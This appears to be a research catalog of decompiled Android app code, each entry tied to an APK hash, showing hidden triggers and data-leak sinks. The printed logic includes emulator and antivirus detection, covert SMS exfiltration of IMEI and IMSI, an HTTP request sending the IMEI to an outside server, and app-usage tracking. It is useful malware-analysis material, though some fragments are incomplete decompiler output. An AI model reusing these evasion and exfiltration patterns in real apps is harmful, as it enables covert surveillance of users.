1.FingerPrint(System Properties)

Apk：91afa76cac189b982bf281ad313d77ef.apk com.gwsoft.imusic.controller

sha256:8c679a7c57a7fbb355fb363d3784cc8380655701d482837869edd95f3a3ea470

|  |
| --- |
| //Trigger condition  //Class: cn.com.chinatelecom.a.a.  public static boolean a(Context var0, String var1, String var2) {  …  return a(var0);  }  private static boolean a(Context var0) {  if (!Build.FINGERPRINT.contains("vbox86p/vbox86p") && !Build.FINGERPRINT.contains("ttVM\_Hdragon/ttVM\_Hdragon") && !Build.FINGERPRINT.contains("generic/sdk/generic") && !Build.FINGERPRINT.contains("generic\_x86/sdk\_x86/generic\_x86")) {  if (Build.FINGERPRINT.contains("generic/google\_sdk/generic")) {  return true;  }  int var2;  if (!Build.BRAND.contains("generic") && !Build.BRAND.contains("Android")) {  var2 = 0;  } else {  var2 = 1;  }  if (Build.DEVICE.equals("Droid4X") || Build.DEVICE.equals("ttVM\_Hdragon") || Build.DEVICE.equals("vbox86p") || Build.DEVICE.equals("generic") || Build.DEVICE.equals("generic\_x86")) {  ++var2;  }  if (Build.FINGERPRINT.contains("test-keys")) {  ++var2;  }  if (Build.HARDWARE.equals("vbox86") || Build.HARDWARE.equals("ttVM\_x86") || Build.HARDWARE.equals("goldfish")) {  ++var2;  }  if (Build.HOST.contains("Droid4x") || Build.HOST.contains("ttvm") || Build.HOST.contains("genymobile")) {  ++var2;  }  if (Build.MANUFACTURER.equals("unknown") || Build.MANUFACTURER.equals("Genymotion") || Build.MANUFACTURER.equals("TiantianVM") || Build.MANUFACTURER.equals("MIT")) {  ++var2;  }  if (Build.MODEL.equals("sdk") || Build.MODEL.equals("Droid4X-WIN") || Build.MODEL.equals("TianTian") || Build.MODEL.equals("google\_sdk") || Build.MODEL.equals("Android SDK built for x86") || Build.MODEL.toLowerCase().contains("bluestacks") || Build.MODEL.toLowerCase().contains("genymotion")) {  ++var2;  }  if (Build.PRODUCT.equals("Droid4X") || Build.PRODUCT.equals("ttVM\_Hdragon") || Build.PRODUCT.equals("vbox86p") || Build.PRODUCT.equals("sdk") || Build.PRODUCT.equals("google\_sdk") || Build.PRODUCT.equals("sdk\_x86") || Build.PRODUCT.equals("vbox86p")) {  ++var2;  }  String[] var3 = new String[]{"000000000000000", "357139052587891", "244853564069442"};  String var1 = b.b(var0);  int var4 = var3.length;  int var5;  for(var5 = 0; var5 < var4; ++var5) {  if (var1.equalsIgnoreCase(var3[var5])) {  ++var2;  break;  }  }  var3 = new String[]{"15555215554", "15555215556", "15555215558", "15555215560", "15555215562", "15555215564", "15555215566", "15555215568", "15555215570", "15555215572", "15555215574", "15555215576", "15555215578", "15555215580", "15555215582", "15555215584"};  var1 = b.c(var0);  var4 = var3.length;  for(var5 = 0; var5 < var4; ++var5) {  if (var3[var5].equalsIgnoreCase(var1)) {  ++var2;  break;  }  }  var3 = new String[]{"310260000000000"};  var1 = b.d(var0);  var4 = var3.length;  for(var5 = 0; var5 < var4; ++var5) {  if (var3[var5].equalsIgnoreCase(var1)) {  ++var2;  break;  }  }  if (b.e(var0).equalsIgnoreCase("Android")) {  ++var2;  }  if (!a() && var2 <= 4) {  return false;  }  }  return true;  }  //IF-ELSE  var45 = cn.com.chinatelecom.a.a.a(var8, var9, var10);  if (!var45) {  var11.put("imsi", cn.com.chinatelecom.account.a.g.a(this.c));  }  //SENSITIVE API  //Class: cn.com.chinatelecom.account.a.g.a(android.content.Context)  public static String a(Context var0) {  String var2;  try {  var2 = ((TelephonyManager)var0.getSystemService("phone")).getSubscriberId();  } catch (Exception var1) {  var2 = "";  }  return var2 == null ? "" : var2;  } |

2.onItemClick（Others）

Apk：91afa76cac189b982bf281ad313d77ef.apk com.gwsoft.imusic.controller

sha256:8c679a7c57a7fbb355fb363d3784cc8380655701d482837869edd95f3a3ea470

Function description: Click on any song in the song list to obtain various private information, and record this information through the open source Countly application.

[Countly](http://count.ly/) (<https://github.com/Countly/countly-sdk-android>) is an innovative, real-time, open source mobile analytics application. It collects data from mobile devices, and visualizes this information to analyze mobile application usage and end-user behavior. There are two parts of Countly: the server that collects and analyzes data, and mobile SDK that sends this data. Both parts are open source with different licensing terms.

|  |
| --- |
| //Trigger condition  //Class: com.gwsoft.imusic.controller.diy.CuttingActivity.onItemClick  CuttingActivity.this.mCatalogSongsList != null && var3 + -1 >= 0 && var3 + -1 < CuttingActivity.this.mCatalogSongsList.size()  //IF-ELSE  this.lv\_catalog\_rings.setOnItemClickListener(new OnItemClickListener() {  public void onItemClick(AdapterView<?> var1, View var2, int var3, long var4) {    if (CuttingActivity.this.mCatalogSongsList != null && var3 + -1 >= 0 && var3 + -1 < CuttingActivity.this.mCatalogSongsList.size()) {  MobclickAgent.onEvent(CuttingActivity.this, "activity\_diy\_do\_re", String.valueOf(var3));  CountlyAgent.onEvent(CuttingActivity.this, "activity\_diy\_do\_re", String.valueOf(var3));  }}}  //SENSITIVE API  //Class: com.gwsoft.imusic.utils.CountlyAgent  public static void onEvent(Context var0, String var1, String var2) {  HashMap var3 = new HashMap;  var53 = SharedPreferencesUtil.getStringConfig(var0, "Countly", "session", "");  var3.put("session", var53);  var3.put("SID", var4.append(var5).append("").toString());  var3.put("start\_time", var4.append(var55).append("").toString());  var3.put("phone", var55);  var3.put("imsi", var53);  var3.put("user\_id", var55);  var3.put("encrypted\_user\_name", var55);  var3.put("user\_member", var4.append(var5).append("").toString());  var3.put("network\_type", var53);  var3.put("ip", var53);  var3.put("page\_param", var2);  var3.put("page\_name", var1);  var3.put("platform", "android");  var3.put("app\_platform", "android");  var3.put("app\_name", "爱听4G");  var3.put("app\_version", var1);  var3.put("imei", var4.append(((TelephonyManager)var0.getSystemService("phone")).getDeviceId()).append("").toString());  var3.put("channel\_id", var2);  //sink  Countly var51.recordEvent(var1, var3, 1);  }  //SINK  //Class: ly.count.android.sdk.Countly  public void recordEvent(String var1, Map<String, String> var2, int var3) {  this.recordEvent(var1, var2, var3, 0.0D);  }  public void recordEvent(String var1, Map<String, String> var2, int var3, double var4) {  this.eventQueue\_.recordEvent(var1, var2, var3, var4);  this.sendEventsIfNeeded();  }  void sendEventsIfNeeded() {  System.out.println("Countly====>" + this.eventQueue\_.size());  if (this.eventQueue\_.size() >= 8) {  this.connectionQueue\_.recordEvents(this.eventQueue\_.events());  }  } |

3. PackageManager

Apk: eecdb87679687e085f1dfe8dacbf1947.apk flash15.1.apk

sha256:fdaba7f032ee7ff9adf799713b25d4c2fef86ddbbe8709bf6ec021505b8f1d0d

Function：Check whether the "AhnLab V3 Mobile Plus 2.0" package is installed, if it is installed, get all the RunningTasks,

Then take the top task and assign it to var1. If var1 is a task in the configuration file, sleep 200L and start a new activity

|  |
| --- |
| //Trigger condition  //Class:com.qwe.service.AutBan  private boolean judgeAV() {  this.pm = this.getPackageManager();  this.listAppcations = this.pm.getInstalledApplications(8192);  for(int var1 = 0; var1 < this.listAppcations.size(); ++var1) {  if (((String)((ApplicationInfo)this.listAppcations.get(var1)).loadLabel(this.pm)).equalsIgnoreCase("AhnLab V3 Mobile Plus 2.0")) {  return true;  }  }  return false;  }  //IF-ELSE  if (!AutBan.this.judgeAV()) {  List var2 = ((ActivityManager)AutBan.this.getSystemService("activity")).getRunningTasks(1);  String var1 = ((RunningTaskInfo)var2.get(0)).topActivity.getPackageName();  Thread.sleep(200L);  ComponentName var3 = new ComponentName("com.a", "com.qwe.Bridg");  Intent var5.setComponent(var3);  AutBan.this.startActivity(var5);  }  //SENSITIVE API  getRunningTasks  //SINK  no |

4.Time:Track user data

6defa616d9e4ebfb595968458ca9f350.apk com.wukongtv.wukongtv

sha256:3397079daa388bdbcdcc42b6834d3c792bf5c80ad24491e3893de7cfc2b11db7

https://github.com/TalkingData/AppAnalytics\_SDK\_Cordova

|  |
| --- |
| //Trigger condition  //Class: com.tendcloud.tenddata.n  private static int n() {  long var0 = bl.b(ab.c, "TDpref\_longtime", "TDpref.apps\_send\_time.key", 0L);  Calendar var10000 = Calendar.getInstance();  int var2 = var10000.get(6) \* 100; //day\_of\_year  var2 += var10000.get(11); //hours\_of\_day  if (Math.abs(var0 / 100L - (long)(var2 / 100)) >= 1L) {  return 2;  } else {  return var0 != (long)var2 ? 1 : 0;  }  }  //IF-ELSE  static void c(Context var0) {  int var1 = n();  if (var1 > 0) {  ab.h = bq.f(var0);  if (var1 < 2) {  ab.h[2] = null;  }  }  }  //SENSITIVE API  //Class: bq.f  public static Long[][] f(Context var0) {  Long[][] var1 = new Long[3][];  var31 = var3.getRecentTasks(10, 1);  var32 = var31.iterator();  //Record the obfuscated PackageName (running) to var1  while(true) {  var7 = var32.hasNext();  var5 = ((RecentTaskInfo)var32.next()).baseIntent.getComponent();  var36 = var5.getPackageName();  var6.add(a(var36));  var1[0] = new Long[var6.size()];  var1[0] = (Long[])var6.toArray(var1[0]);  }  //Record the obfuscated ProcessName to var1  while(true) {  var36 = ((RunningAppProcessInfo)var32.next()).processName;  var6.add(a(var36));  var1[1] = new Long[var6.size()];  var1[1] = (Long[])var6.toArray(var1[1]);  }  //Record the obfuscated PackageName (obtained through getPackageManager) to var1  while(true) {  var7 = var2.contains(var35.packageName);  var6.add(a(var35.packageName));  var1[2] = new Long[var6.size()];  var1[2] = (Long[])var6.toArray(var1[2]);  }  }  //Hash obfuscation  private static long a(String var0) {  long var1 = 1125899906842597L;  int var3 = var0.length();  for(int var4 = 0; var4 < var3; ++var4) {  var1 = var1 \* 131L + (long)var0.charAt(var4);  }  return var1;  }  //SINK  The data is stored in ab.h variable |

5.SMS:

b32ce899676610f24b8534b90b5d849b.apk com.Ninder.gotop

sha256:3e9916e8c9137bf5e0fd3c56cf8e282189b064bdb916787dd1a9da57ba9aa4e2

Message.what ：User-defined message code so that the recipient can identify what this

message is about.

|  |
| --- |
| //Trigger condition  //Class: com.Ninder.gotop.handleMessage  Message.what == 0  //IF-ELSE  this.mHandler = new Handler() {  public void handleMessage(Message var1) {  if (var1.what == 0) {  TelephonyManager var5 = (TelephonyManager)Nindergwdo.this.getSystemService("phone");  var2 = var5.getDeviceId();  var20 = var2;  var2 = var5.getSubscriberId();  var6 = var2;  byte[] var3 = new byte[]{100, 105, 110, 103, 121, 117, 101};  SharedPreferences var10000 = Nindergwdo.this.getSharedPreferences(new String(var3), 0);  var3 = new byte[]{103, 97, 116, 101, 119, 97, 121};  String var24 = var10000.getString(new String(var3), "");  var2 = var24;  var24 = Nindergwdo.decrypt(var24, "31428162"); // Encrypt with DES/CBC/PKCS5Padding  var2 = var24;  var25.sendTextMessage(var2, (String)null, var7 + var20 + "@" + var6 + "," + var24 + "," + var8 + ",", var19, (PendingIntent)null);  }}}  //SENSITIVE API  getDeviceId  getSubscriberId  //SINK  sendTextMessage |

6.Location:

eb07368da349c50092ebc98843c5215c.apk com.inter.apps.patqut.apk

sha256:22c9d7738073a7ac8f9b58029057c2741e89faac76b623837db2f3a8bb2d93c5

|  |
| --- |
| //Trigger condition  //Class: com.inter.apps.patqut.SplashScreenActivity  !getSimCountryIso.equals("MY")  //IF-ELSE  TelephonyManager var3 = (TelephonyManager)this.getSystemService("phone");  String var1 = var3.getSimCountryIso().toUpperCase(Locale.US);  String var2 = var3.getNetworkOperator();  public void getin(String var1, String var2) {  if (var1.equals("SG") && var2.equals("52501")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySGstepOne.class));  } else if (var1.equals("SG") && var2.equals("52502")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySGstepOne.class));  } else if (var1.equals("SG") && var2.equals("52507")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySGstepOne.class));  } else if (var1.equals("SG")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySGstepOne.class));  } else if (var1.equals("ID") && var2.equals("51008")) {  this.startActivity(new Intent(this.getBaseContext(), MainActivity3.class));  } else if (var1.equals("ID") && var2.equals("51009")) {  this.startActivity(new Intent(this.getBaseContext(), MainActivity3.class));  } else if (var1.equals("ID") && var2.equals("51028")) {  this.startActivity(new Intent(this.getBaseContext(), MainActivity3.class));  } else if (var1.equals("ID")) {  this.startActivity(new Intent(this.getBaseContext(), DoubleActivity.class));  } else if (var1.equals("ZA") && (var2.equalsIgnoreCase("65501") || var2.equalsIgnoreCase("65502") || var2.equalsIgnoreCase("65507") || var2.equalsIgnoreCase("65510"))) {  this.startActivity(new Intent(this.getBaseContext(), DoubleActivityZA.class));  } else if (var1.equals("GR")) {  this.startActivity(new Intent(this.getBaseContext(), DoubleActivity.class));  } else if (var1.equals("CL")) {  this.startActivity(new Intent(this.getBaseContext(), DoubleActivityCL.class));  } else if (!var1.equalsIgnoreCase("TH") || !var2.equalsIgnoreCase("52005") && !var2.equalsIgnoreCase("52018")) {  if (var1.equalsIgnoreCase("TH")) {  Log.w("Senside", "Got in AISTM carrier is " + var2);  this.startActivity(new Intent(this.getBaseContext(), SingleActivityAtmTH1.class));  } else if (var1.equals("PL")) {  this.startActivity(new Intent(this.getBaseContext(), PolandMain.class));  } else if (var1.equals("DK")) {  this.startActivity(new Intent(this.getBaseContext(), DenmarkMain.class));  } else if (var1.equals("PE") && var2.equals("71610")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySinglePE.class));  } else if (var1.equals("PE") && var2.equals("71606")) {  this.startActivity(new Intent(this.getBaseContext(), DoubleActivity.class));  } else if (var1.equals("CR")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySingleCR.class));  } else if (var1.equals("AR") && (var2.contains("72201") || var2.contains("72207"))) {  this.startActivity(new Intent(this.getBaseContext(), DoubleActivity.class));  } else if (var1.equals("AR")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySingleAR.class));  } else if (var1.equals("NI")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySingleNI.class));  } else if (var1.equals("HN")) {  this.startActivity(new Intent(this.getBaseContext(), SingleActivityHN.class));  } else if (var1.equals("GT")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySingleGT.class));  } else if (var1.equals("PY")) {  this.startActivity(new Intent(this.getBaseContext(), ActivitySinglePY.class));  } else if (!var1.equals("CR") && !var1.equals("GT") && !var1.equals("PH") && !var1.equals("NI") && !var1.equals("HN") && !var1.equals("PY") && !var1.equals("AR") && !var1.equals("SZ")) {  if (!var1.equals("MY")) {  this.postLoginData2();  }  } else {  this.startActivity(new Intent(this.getBaseContext(), MainActivity3.class));  }  } else {  Log.w("Senside", "Got in Dtac carrier is " + var2);  this.startActivity(new Intent(this.getBaseContext(), ActivityDtacStart.class));  }  }  //SENSITIVE API  //Class: com.inter.apps.patqut.SplashScreenActivity  public void postLoginData2() {  String var1 = ((TelephonyManager)this.getSystemService("phone")).getDeviceId();  if (var1 != null && var1.length() > 6) {  (new LoginTask(this, var1, new ResponseListener() {  public void getResponse(String var1) {  if (!var1.equalsIgnoreCase("invalidrequest") && !var1.equalsIgnoreCase("")) {  Intent var2;  if (var1.equalsIgnoreCase("-1")) {  SplashScreenActivity.this.credits = "0";  var2 = new Intent(SplashScreenActivity.this, MyNewScreen3.class);  var2.putExtra("LastTab", "4");  var2.putExtra("Credits", SplashScreenActivity.this.credits);  SplashScreenActivity.this.startActivity(var2);  SplashScreenActivity.this.finish();  } else {  SplashScreenActivity.this.credits = var1;  var2 = new Intent(SplashScreenActivity.this, MyNewScreen3.class);  var2.putExtra("LastTab", "0");  var2.putExtra("Credits", SplashScreenActivity.this.credits);  SplashScreenActivity.this.startActivity(var2);  SplashScreenActivity.this.finish();  }  } else {  Toast.makeText(SplashScreenActivity.this, "An error occured", 0).show();  }  }  })).execute(new Void[0]);  } else {  Runnable var3 = new Runnable() {  public void run() {  Toast.makeText(SplashScreenActivity.this, "Device Not Supported", 1);  }  };  try {  var3.<init>();  this.runOnUiThread(var3);  } catch (Exception var2) {  }  }  }  LoginTask  **public** LoginTask(Context paramContext, String paramString, ResponseListener paramResponseListener) {  **this**.context = paramContext;  **this**.deviceId = paramString;  **this**.responseListener = paramResponseListener;  }  **protected** String doInBackground(Void... paramVarArgs) {  HttpPost httpPost;  DefaultHttpClient defaultHttpClient;  String str = "";  **if** (Build.VERSION.SDK\_INT > 9)  {  StrictMode.setThreadPolicy((**new** StrictMode.ThreadPolicy.Builder()).permitAll().build());  }    **this**();    **this**("http://bdnew.lp.badabee.com/api/users/login?imei=" + **this**.deviceId);    **try** { Log.w("SENCIDE", "Execute HTTP Post Request");    String str1 = inputStreamToString(defaultHttpClient.execute(httpPost).getEntity().getContent()).toString(); str = **this**;  Log.w("SENCIDE", **this**); **return** **this**;  }    **catch** (ClientProtocolException clientProtocolException) { **null**.printStackTrace(); **return** str; } **catch** (IOException iOException)    { ((IOException)**null**).printStackTrace(); **return** str; }    }  //SINK  startActivity |

7.Network:

|  |
| --- |
| //Trigger condition  //Class:  var71 = var76.a(var7, var70.toByteArray(), "gzip", var1);  var12 = var71.b();  var1 = var12.optInt("reset", 0);  Among them, the call of var76.a is an http network request:  public final e a(String var1, byte[] var2, String var3, int var4) {  var1 = this.c + var1 + this.b();  this.e.a("[" + var1 + "]Send request(" + var2.length + "bytes):" + var2);  HttpPost var5 = new HttpPost(var1);  var5.setHeader("Connection", "Keep-Alive");  var5.removeHeaders("Cache-Control");  var5.removeHeaders("User-Agent");  if (this.a != null) {  var5.addHeader("X-Online-Host", this.c);  var5.addHeader("Accept", "\*/\*");  var5.addHeader("Content-Type", "json");  } else {  this.b.getParams().removeParameter("http.route.default-proxy");  }  if (this.a == null) {  var5.addHeader("Content-Encoding", var3);  } else {  var5.addHeader("X-Content-Encoding", var3);  }  var5.setEntity(new ByteArrayEntity(var2));  HttpResponse var9 = this.b.execute(var5);  HttpEntity var10000 = var9.getEntity();  int var8 = var9.getStatusLine().getStatusCode();  long var6 = var10000.getContentLength();  this.e.a("recv response status code:" + var8 + ", content length:" + var6);  var2 = EntityUtils.toByteArray(var10000);  var1 = "";  Header var10 = var9.getFirstHeader("Content-Encoding");  if (var10 != null) {  if (var10.getValue().toUpperCase().contains("AES")) {  var1 = new String(com.oem.superapp.mid.a.d.a(com.oem.superapp.mid.a.d.a()).a(var4).b(var2), "UTF-8");  }  if (var10.getValue().toUpperCase().contains("RSA")) {  var1 = h.b(var2);  }  if (var10.getValue().toUpperCase().contains("IDENTITY")) {  var1 = new String(var2, "UTF-8");  }  }  this.e.a("recv response status code:" + var8 + ", content :" + var1);  return new e(var8, var1);  }  //IF-ELSE  if (var1 > 0) {  try {  var75 = new com.oem.superapp.mid.api.b();  var75.b(var7);  var75.e(com.oem.superapp.mid.c.a.e(j));  var75.c(com.oem.superapp.mid.c.a.c(j));  var75.d(com.oem.superapp.mid.c.a.d(j));  var75.a(System.currentTimeMillis());  var75.a();  c.a("server return new mid midEntity:" + var75.toString());  var3.a(var75.toString());  }  }  //SENSITIVE API  //Class: com.oem.superapp.mid.c.a.e  public static String e(Context paramContext) {  String str = "";  str = wifiManager.getConnectionInfo().getMacAddress();  return str;  }  //Class: com.oem.superapp.mid.c.a.c  public static String c(Context paramContext) {  String str = "";  String str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId();  return str;  }  //Class: com.oem.superapp.mid.c.a.d  public static String d(Context paramContext) {  String str = "";  TelephonyManager telephonyManager = (TelephonyManager)paramContext.getSystemService("phone");  str = telephonyManager.getSubscriberId();  return str;  }  //SINK |

8.IO:

|  |
| --- |
| //Trigger condition  //Class: fm.qingting.b.c  public static boolean a(String var0) {  var2 = Runtime.getRuntime().exec("top -n 1");  var1.<init>(var2.getInputStream());  var3.<init>(var1);  var8 = var3.readLine();  var9 = var8.contains(var0);  return var9  }  //IF-ELSE  String var16 = b.a() + "/" + "ihaveadreamwatchdog";  if (w.a(var16)) {  Log.e("WatchDog", "watch dog is running. Don't launch it twice.");  } else {  String var1 = Environment.getExternalStorageDirectory() + "/log.txt";  String var3 = g.a(b.b());  String var4 = a.b(b.b());  String var5 = b.b().getString(2131492869);  String var6 = g.a().replace(" ", "-");  String var7 = g.b();  String var8 = fm.qingting.qtradio.abtest.a.a(b.b(), fm.qingting.qtradio.abtest.b.g).trim();  }  //SENSITIVE API  //Class: g.a  public static String a(Context var0) {  var1 = var3.append(var2.getDeviceId()).toString();  var19 = var3.append(var2.getSimSerialNumber()).toString();  var4 = var3.append(Secure.getString(var0.getContentResolver(), "android\_id")).toString();  } |
|  |

8.IO:

7371c756369b3b6c178533c3a6e6a6fe.apk

Function：When registration fails, imsi imei and other information will be recorded and pushed to the monitoring platform (MTAReport)

|  |
| --- |
| //Trigger condition  ((RegisterResponse)var7).e() !=0 //When registering, the message received is pushed. (RegisterResponse)var7).e() == 0 means successful registration  //IF-ELSE  BasePushMessage var7；//<java.nio.channels.SocketChannel: int read(java.nio.ByteBuffer)> to obtain the response heartbeat information of the server  if (((RegisterResponse)var7).e() != 0) {  var8 = new String[]{"guid", com.tencent.qqlive.services.push.h.a().d(), "imsi", ab.d(this.a.getApplicationContext()), "imei", ab.c(this.a.getApplicationContext()), "appver", AppUtils.getAppVersionName(this.a.getApplicationContext()), "vuid", com.tencent.qqlive.services.push.h.a().e(), "isJce", "0"};  MTAReport.reportUserEvent("push\_register\_error", var8);  com.tencent.qqlive.services.push.a.a("PushService", "aaa34(注册失败)");  throw new SocketException("Register failed!");  } |
|  |